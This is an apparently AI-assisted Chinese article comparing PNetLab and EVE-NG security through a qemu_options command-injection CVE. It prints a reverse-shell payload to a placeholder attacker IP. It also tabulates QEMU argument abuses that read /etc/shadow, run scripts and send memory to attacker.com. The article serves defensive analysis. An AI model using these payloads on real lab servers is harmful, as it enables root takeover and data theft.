PNetLab-vs-EVE-NG安全性分析
<h1>1 PNetLab vs EVE-NG社区版:从一次CVE看"免费fork"的安全代价</h1><hr />
<h2>1.1 痛点引入</h2>
<p>2025年11月,CVE-2025-63749被公开披露——PNetLab 5.3.11存在命令注入漏洞,攻击者通过qemu_options参数注入 <code>$(/bin/bash -c 'reverse_shell')</code>,直接获取宿主机root权限。一个有实验编辑权限的普通用户,就能接管整台服务器。</p>
<p>而EVE-NG社区版面对同样的攻击面——同样允许用户自定义qemu_options,同样将参数拼接到QEMU命令行——却没有被同样的方式打穿。</p>
<p>为什么?不是运气,是六层防御的差距。</p>
<p>这篇文章从CVE-2025-63749出发,逐层拆解两个平台的安全架构差异。</p>
<hr />
<h2>1.2 核心知识:同源不同命——六层防御对比</h2>
<h3>1.2.1 血缘关系</h3>
<p>PNetLab基于EVE-NG Community Edition 2.0.3-105分支fork开发,时间约在2019年。这意味着在fork的起点,两者的代码几乎相同。但fork之后,EVE-NG持续演进安全机制,PNetLab停留在2.0.3-105时代的安全水平,比当前6.2.0-4落后了多个大版本的安全更新。</p>
<h3>1.2.2 六层防御逐层对比</h3>
<table>
<thead>
<tr>
<th>防御层</th>
<th>机制</th>
<th>EVE-NG 6.2.0-4</th>
<th>PNetLab 5.3.11</th>
<th>差距说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>L1</td>
<td>Shell元字符清洗</td>
<td><code>escapeshellcmd()</code>— PHP标准库函数,过滤 <code>$</code>、反引号等所有shell元字符</td>
<td><code>secureCmd()</code>— 自定义函数,仅过滤部分字符</td>
<td>PNetLab的secureCmd()不过滤 <code>$()</code>命令替换,直接导致CVE-2025-63749</td>
</tr>
<tr>
<td>L2</td>
<td>圆括号转义</td>
<td><code>preg_replace</code>将 <code>(</code> <code>)</code>转义为 <code>\(</code> <code>\)</code>,使shell不再解释为命令替换;配合L1的 <code>escapeshellcmd()</code>转义 <code>$</code>等元字符,<code>$(cmd)</code>变为 <code>$\(cmd\)</code>,命令替换失效</td>
<td>无</td>
<td>PNetLab完全缺失此层</td>
</tr>
<tr>
<td>L3</td>
<td>引号转义(shell命令行保护)</td>
<td><code>addslashes()</code>— 防止qemu_options中的引号破坏命令行结构,避免参数截断(如 <code>-drive file="/tmp/test"</code>导致引号提前闭合)</td>
<td>无等价措施</td>
<td>PNetLab完全缺失此层,与SQL注入无关</td>
</tr>
<tr>
<td>L4</td>
<td>chroot文件系统隔离</td>
<td><code>qemu_wrapper</code>(C二进制)在启动QEMU前执行 <code>chroot(".")</code>,将进程限制在运行目录内</td>
<td>无chroot</td>
<td>无chroot意味着QEMU进程可直接访问宿主机文件系统</td>
</tr>
<tr>
<td>L5</td>
<td>进程组权限限制</td>
<td>QEMU节点 <code>setgid(32768)</code>到unl组(但仍以root运行,未执行setuid降权)</td>
<td>以root运行,无任何限制</td>
<td>两者QEMU节点均为root身份,EVE-NG仅在组层面做了受限;QEMU未降权是两者共同短板,需seccomp或用户命名空间真正兜底</td>
</tr>
<tr>
<td>L6</td>
<td>只读挂载保护</td>
<td>镜像目录 <code>mount -B -o ro</code>只读挂载 +<code>chattr +i</code>设置不可变属性</td>
<td>无</td>
<td>无只读保护意味着被入侵后镜像文件可被篡改</td>
</tr>
</tbody>
</table>
<h3>1.2.3 CVE-2025-63749的攻击路径复现</h3>
<p>在PNetLab中,攻击者只需三步:</p>
<ol>
<li>创建实验,添加QEMU节点</li>
<li>在qemu_options字段注入payload:<code>$(/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1')</code></li>
<li>启动节点 → reverse shell以root权限回连</li>
</ol>
<p>为什么能成功?因为 <code>secureCmd()</code>函数的三个致命错误:</p>
<table>
<thead>
<tr>
<th>错误</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>不过滤 <code>$()</code></td>
<td>命令替换 <code>$(cmd)</code>是shell注入最常见的手法,secureCmd()完全未处理</td>
</tr>
<tr>
<td>仅移除单引号</td>
<td><code>str_replace("'", "")</code>只处理单引号,双引号和反引号不受影响</td>
</tr>
<tr>
<td>黑名单思路</td>
<td>试图列举"危险字符"来过滤,而安全实践要求白名单——只允许已知安全的字符</td>
</tr>
</tbody>
</table>
<p>而EVE-NG用PHP标准库函数 <code>escapeshellcmd()</code>替代了自定义过滤。这个函数由PHP核心团队维护,经过20年以上的安全迭代,覆盖所有已知的shell元字符。这就是"不自造安全函数"的原则。</p>
<h3>1.2.4 无chroot的后果:L1被绕过后的全盘崩溃</h3>
<p>假设攻击者找到了 <code>escapeshellcmd()</code>的0day绕过方式(PHP历史上确实出现过),EVE-NG的L4(chroot)仍然是第二道防线——QEMU进程被限制在运行目录内,无法读取 <code>/etc/shadow</code>,无法执行 <code>/bin/bash</code>。</p>
<p>而PNetLab没有chroot,L1一旦被绕过,攻击者直接获得宿主机完整文件系统访问权限。通过QEMU参数可以实现:</p>
<table>
<thead>
<tr>
<th>QEMU参数</th>
<th>攻击效果</th>
<th>EVE-NG chroot是否阻断</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>-drive file=/etc/shadow</code></td>
<td>读取宿主机密码文件</td>
<td>是</td>
</tr>
<tr>
<td><code>-fw_cfg name=opt/ovf/etc,file=/etc/ssh/sshd_config</code></td>
<td>泄露SSH配置</td>
<td>是</td>
</tr>
<tr>
<td><code>-netdev tap,script=/tmp/evil.sh</code></td>
<td>在宿主机执行任意脚本</td>
<td>是</td>
</tr>
<tr>
<td><code>-chardev file,id=log,path=/tmp/out</code></td>
<td>向宿主机任意路径写入</td>
<td>是</td>
</tr>
<tr>
<td><code>-migrate tcp:attacker.com:1234</code></td>
<td>向外部发送VM内存快照</td>
<td>否(网络层攻击,chroot不保护)</td>
</tr>
</tbody>
</table>
<hr />
<h2>1.3 操作步骤:EVE-NG的jail机制如何工作</h2>
<p>理解防御的最好方式是看它的完整链路:</p>
<pre><code class="language-PHP">用户通过Web UI设置qemu_options
|
v
__node.php:756存储到Node对象
__node.php:1073 读取qemu_options
__node.php:1078 拼接flags: $flags .= ' '.$qoptions
|
v
cli.php:982list($bin, $flags) = $n->getCommand()
cli.php:1118 $cmd .= ' -- '.$flags.' > wrapper.txt 2>&1 &'
|
v
qemu_wrapper(C二进制)执行:
1. chdir(运行目录) --> /opt/unetlab/tmp/{tid}/{lid}/{nid}/
2. chroot(".") --> QEMU进程被限制在此目录
3. exec(qemu-system-x86_64 $flags)--> 在chroot中启动QEMU
</code></pre>
<p>三层清洗(L1-L3)在PHP层完成,阻止shell注入。三层隔离(L4-L6)在运行时完成,阻止文件系统越界。即使某一层被绕过,下一层仍然生效——这就是纵深防御。</p>
<hr />
<h2>1.4 常见报错及安全自查</h2>
<table>
<thead>
<tr>
<th>安全风险</th>
<th>检查方法</th>
<th>EVE-NG</th>
<th>PNetLab</th>
</tr>
</thead>
<tbody>
<tr>
<td>是否有chroot隔离</td>
<td>检查 <code>/opt/unetlab/wrappers/qemu_wrapper</code>二进制是否包含chroot调用</td>
<td>有</td>
<td>无</td>
</tr>
<tr>
<td>qemu_options是否过滤</td>
<td>在qemu_options中输入 <code>$(id)</code>后启动节点,观察是否执行</td>
<td>不执行(escapeshellcmd过滤)</td>
<td>执行(CVE-2025-63749)</td>
</tr>
<tr>
<td>镜像目录是否只读</td>
<td>执行`mount</td>
<td>grep unetlab`,检查是否有ro挂载</td>
<td>有</td>
</tr>
<tr>
<td>jail目录是否锁定</td>
<td>执行 <code>lsattr /opt/unetlab/jail/</code>,检查+i标志</td>
<td>有</td>
<td>无</td>
</tr>
<tr>
<td>是否有安全更新渠道</td>
<td>检查 <code>apt update</code>是否有官方源</td>
<td>Ubuntu 22.04 LTS官方源</td>
<td>更新停滞</td>
</tr>
</tbody>
</table>
<hr />
<h2>1.5 总结升华:选型速查表</h2>
<table>
<thead>
<tr>
<th>维度</th>
<th>EVE-NG社区版</th>
<th>PNetLab</th>
</tr>
</thead>
<tbody>
<tr>
<td>安全架构</td>
<td>三层清洗 + 三层隔离(纵深防御)</td>
<td>仅靠自定义secureCmd()(已证明失效)</td>
</tr>
<tr>
<td>已知CVE</td>
<td>Web UI操作范围内无可利用漏洞(06.11安全报告验证)</td>
<td>CVE-2025-63749(root级命令注入)、CVE-2024-51111(XSS)</td>
</tr>
<tr>
<td>代码维护</td>
<td>活跃,持续安全更新</td>
<td>停滞,安全补丁滞后</td>
</tr>
<tr>
<td>许可证</td>
<td>BSD(PHP/C二进制)+ 专有(UI/Go),法律清晰</td>
<td>Fork争议,法律模糊</td>
</tr>
<tr>
<td>底层OS</td>
<td>Ubuntu 22.04 LTS,定期内核安全更新</td>
<td>基于旧版Ubuntu,更新频率极低</td>
</tr>
<tr>
<td>社区支持</td>
<td>持续增长</td>
<td>正在收缩</td>
</tr>
<tr>
<td>适用场景</td>
<td>个人学习/CCNA-CCNP/企业POC</td>
<td>仅限隔离环境下的个人尝鲜</td>
</tr>
</tbody>
</table>
<p><strong>一句话结论</strong>:PNetLab和EVE-NG社区版虽然代码同源,但fork后的安全演进已经拉开代差。EVE-NG用6年时间构建了纵深防御体系,PNetLab停留在2019年的安全水平。CVE-2025-63749不是偶然,而是六年安全债务的集中爆发。</p>
<p><strong>给你的建议</strong>:</p>
<ul>
<li>如果你在用PNetLab做实验:至少把服务器放在隔离网络中,不要暴露到公网,不要给不信任的人分配实验编辑权限</li>
<li>如果你在考虑选型:同样免费,选EVE-NG社区版——多6年的安全更新,不是一个可选项,而是一个必选项</li>
<li>如果你在企业环境:直接上EVE-NG Pro,RBAC + 专业支持 + 法律合规,这是唯一正确的选择</li>
</ul>
<hr />
<blockquote>
<p>本文为AI辅助生成草稿,技术细节请以实际环境验证为准。CVE信息来自公开漏洞数据库,安全分析基于EVE-NG知识库源码审计文档。</p>
</blockquote>
<hr />
<h2>1.6 内容来源</h2>
<p>本文素材来自以下来源,按章节索引:</p>
<h3>1.6.1 痛点引入</h3>
<ul>
<li><strong>CVE-2025-63749</strong>(Volerion / NVD / 绿盟NSFOCUS):PNetLab 5.3.11命令注入漏洞公开披露信息</li>
<li><strong>CVE-2024-51111</strong>(Tenable):PNetLab 5.3.11 XSS漏洞</li>
</ul>
<h3>1.6.2 六层防御对比</h3>
<ul>
<li>**09.6 QEMU **<a href="http://xn--Jail-ob5fp1pv5a5k892eb6alz4fx3at91b.md"><strong>Jail机制与安全对比分析.md</strong></a>:核心结论(三层清洗+三层隔离体系)、第1章攻击面分析(QEMU参数攻击向量表)、第2章Jail安全隔离机制(三层隔离架构、完整调用链)、第6章PNetlab对比分析(六层防御逐层对比表、攻击向量穿透测试表、L1-L6逐层详解)、第7章PNetlab secureCmd()分析(源码片段、三个致命错误)、第8章纵深防御价值(攻击类型与防御层对应表、历史时间线)</li>
<li><strong>05 config_scripts完整分析.md</strong>:Docker nsenter命令注入(C1)、硬编码凭证(C2)、Mikrotik后门账户(C3)、Docker API无认证(C4)、init/prep脚本路径注入(C5)</li>
</ul>
<h3>1.6.3 jail机制工作链路</h3>
<ul>
<li>**09.6 QEMU **<a href="http://xn--Jail-ob5fp1pv5a5k892eb6alz4fx3at91b.md"><strong>Jail机制与安全对比分析.md</strong></a> 第2章:完整调用链(__node.php→cli.php→qemu_wrapper→chroot)</li>
<li>**T-STARTNODE **<a href="http://xn--6fr78aj04dliq.md"><strong>启动节点.md</strong></a>:prepareNode()流程、getCommand()调用链</li>
</ul>
<h3>1.6.4 安全自查</h3>
<ul>
<li>**06.11 **<a href="http://xn--15q13e74ib0h85ngzc.md"><strong>安全漏洞报告.md</strong></a>:EVE-NG CE 6.2.0-4安全审查结论(Web UI操作范围内无可利用漏洞)</li>
<li>**09.6 QEMU **<a href="http://xn--Jail-ob5fp1pv5a5k892eb6alz4fx3at91b.md"><strong>Jail机制与安全对比分析.md</strong></a> 第4章:chroot文件系统范围验证、浏览器mount实测输出</li>
</ul>
<h3>1.6.5 选型对比</h3>
<ul>
<li><strong>PNETLab vs EVE-NG: Free Fork or the Real Thing?</strong>(CloudMyLab博客):代码来源与血缘关系、维护状况对比、安全风险与合规、功能与限制对比、结论与建议</li>
<li><strong>EVE-NG License文档</strong>:许可证体系(BSD + 专有)</li>
<li>**09.6 QEMU **<a href="http://xn--Jail-ob5fp1pv5a5k892eb6alz4fx3at91b.md"><strong>Jail机制与安全对比分析.md</strong></a> 第8章:历史时间线(2019 fork → 2022 jail引入 → 2025 CVE披露)</li>
</ul>
讲得真详细:loveliness:
页:
[1]